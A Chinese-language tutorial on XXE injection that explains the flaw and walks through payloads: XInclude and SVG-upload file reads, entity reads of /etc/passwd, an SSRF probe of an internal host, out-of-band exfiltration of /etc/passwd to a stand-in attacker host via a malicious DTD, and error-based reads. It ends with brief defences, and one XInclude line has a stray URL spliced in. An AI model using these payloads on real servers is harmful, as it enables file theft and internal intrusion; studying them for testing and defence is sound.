XXE
漏洞原理
XXE是xml外部物體注入漏洞,應用程式決議xml輸入時,沒有禁止外部物體的加載,導致可加載惡意外部檔案和代碼,造成任意檔案讀取,命令執行,內網埠掃描攻擊內網網站等危害,
漏洞危害
1. 讀取敏感檔案,
2. 執行ssrf漏洞,進行內網埠探測,攻擊內網網站等,
漏洞檢測
1. XInclude攻擊
一些應用程式接收用戶的資料,在服務端嵌入到xml檔案中決議,這時我們無法控制整個xml檔案,所以就無法定義或修改DOCTYPE元素,XInclede是xml規范的一部分,允許從子檔案中構建xml檔案,從而進行攻擊,
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href=https://www.cnblogs.com/syroot/p/"file:///etc/passwd"/></foo>
2. 利用檔案上傳來進行xxe攻擊
docx和svg等都是基于xml格式,如果影像處理庫支持SVG影像,攻擊者可以提交惡意的SVG影像,就可以利用檔案上傳執行xxe攻擊,
創建具有xml代碼的SVG影像
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
將此影像上傳上去,就可以在頭像中看到/etc/hostname檔案的內容,
3. 通過修改請求包的檔案內容型別來進行xxe攻擊
有些應用程式會允許xml的內容型別,我們就可以修改Content-Type: text/xml欄位,來利用xxe漏洞,
POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
原來的請求體中的內容是:foo=bar
4. 讀取敏感檔案
利用file協議讀取服務器中的敏感檔案,
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
5. 執行ssrf攻擊
利用http協議,讓存在xxe漏洞的應用程式向與它處于同一內網的發送http請求,
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:3389"> ]>
6. 帶外通道技術來進行盲注xxe
一般情況下,雖然存在xxe漏洞,但是不會回顯外部物體注入的值,我們就要利用帶外通道技術,(OOB)
攻擊者在vps中放置惡意的DTD,讓存在漏洞的應用程式去訪問,
惡意DTD(外部物體)內容:訪問http://web-attacker.com/malicious.dtd可以訪問到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
向存在漏洞的應用程式中輸入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
7. 通過錯誤訊息來讀取檔案
通過觸發xml決議錯誤,在決議錯誤資訊中回傳我們需要讀取的敏感資訊,
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
漏洞防御
1. 使用開發語言提供的禁用外部物體的方法,
2. 過濾用戶輸入的xml資料中的關鍵字,
3. 不允許xml中有用戶自定義的檔案型別,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/429268.html
標籤:其他
上一篇:命令執行漏洞
